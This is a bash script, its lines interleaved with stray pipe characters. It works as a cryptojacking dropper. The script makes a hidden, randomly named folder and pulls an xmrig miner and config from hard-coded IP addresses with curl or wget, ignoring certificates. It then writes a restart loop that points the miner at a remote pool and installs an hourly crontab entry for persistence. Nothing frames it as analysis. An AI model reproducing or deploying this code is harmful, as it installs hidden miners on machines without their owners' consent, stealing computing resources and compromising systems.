|
|
|
#!/bin/bash
|
|
|
|
|
|
|
|
ARCH=$(uname -m);
|
|
|
|
OS=$(uname);
|
|
|
|
if [ $ARCH == "x86_64" ]; then
|
|
|
|
case $OS in
|
|
|
|
'Linux')
|
|
|
|
OS='Linux'
|
|
|
|
x='x'
|
|
|
|
;;
|
|
|
|
'FreeBSD')
|
|
|
|
OS='FreeBSD'
|
|
|
|
x='x_freebsd'
|
|
|
|
;;
|
|
|
|
*)
|
|
|
|
x=''
|
|
|
|
;;
|
|
|
|
esac
|
|
|
|
|
|
|
|
if [ -n "$x" ]; then
|
|
|
|
if [ -z "$1" ]; then
|
|
|
|
real_path=$PWD
|
|
|
|
else
|
|
|
|
real_path=$1
|
|
|
|
if [ ! -w $real_path ]; then
|
|
|
|
real_path=$PWD
|
|
|
|
fi
|
|
|
|
fi
|
|
|
|
if [ -w $real_path ]; then
|
|
|
|
cd $real_path
|
|
|
|
dir=.$(head /dev/urandom | tr -dc a-z | head -c 5)
|
|
|
|
mkdir $dir
|
|
|
|
cd $dir
|
|
|
|
path="$real_path/$dir"
|
|
|
|
salt=$(head /dev/urandom | tr -dc a-z | head -c 7)
|
|
|
|
conf=$(head /dev/urandom | tr -dc a-z | head -c 1)
|
|
|
|
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 6)
|
|
|
|
name=$(head /dev/urandom | tr -dc a-z | head -c 3)
|
|
|
|
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/$x -O $name 2>/dev/null; then
|
|
|
|
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/$x -o $name
|
|
|
|
if [ ! -s "$path/$name" ]; then
|
|
|
|
if ! wget --no-verbose --no-check-certificate http://208.113.133.62/.test/$x -O $name 2>/dev/null; then
|
|
|
|
curl -ks http://208.113.133.62/.test/$x -o $name
|
|
|
|
fi
|
|
|
|
fi
|
|
|
|
fi
|
|
|
|
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 -O $conf 2>/dev/null; then
|
|
|
|
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o $conf
|
|
|
|
fi
|
|
|
|
if [ -s "$path/$name" ]; then
|
|
|
|
chmod 777 $name
|
|
|
|
log=$path/.log
|
|
|
|
echo "#!/bin/bash" > $m
|
|
|
|
if [ ! -s "$path/$conf" ]; then
|
|
|
|
echo "for i in \$(seq 1 240); do if pgrep -x \"$name\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/$name --nicehash -o 208.113.133.62:443 --tls -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m
|
|
|
|
salt="pool"
|
|
|
|
else
|
|
|
|
sed "s/BBBBBBB/$salt/" -i $conf
|
|
|
|
echo "for i in \$(seq 1 240); do if pgrep -x \"$name\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/$name -c $path/$conf -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m
|
|
|
|
fi
|
|
|
|
chmod 777 $m
|
|
|
|
(crontab -l; echo "*/60 * * * * $m") | crontab -
|
|
|
|
echo "{\"salt\":\"$salt\", \"path\":\"$path\", \"autorun\":\"$m\",\"xmrig\":\"$name\", \"conf\":\"$conf\", \"OS\":\"$OS\", \"ARCH\":\"$ARCH\", \"error\":\"\"}";
|
|
|
|
else
|
|
|
|
echo "{\"error\":\"access\", \"path\":\"$path\", \"autorun\":\"$m\", \"xmrig\":\"$name\", \"conf\":\"$conf\", \"OS\":\"$OS\", \"ARCH\":\"$ARCH\"}"
|
|
|
|
fi
|
|
|
|
fi
|
|
|
|
else
|
|
|
|
echo "{\"error\":\"OS\", \"OS\":\"$OS\", \"ARCH\":\"$ARCH\"}"
|
|
|
|
fi
|
|
|
|
else
|
|
|
|
echo "{\"error\":\"ARCH\", \"ARCH\":\"$ARCH\"}"
|
|
|
|
fi
|
|
|
|
|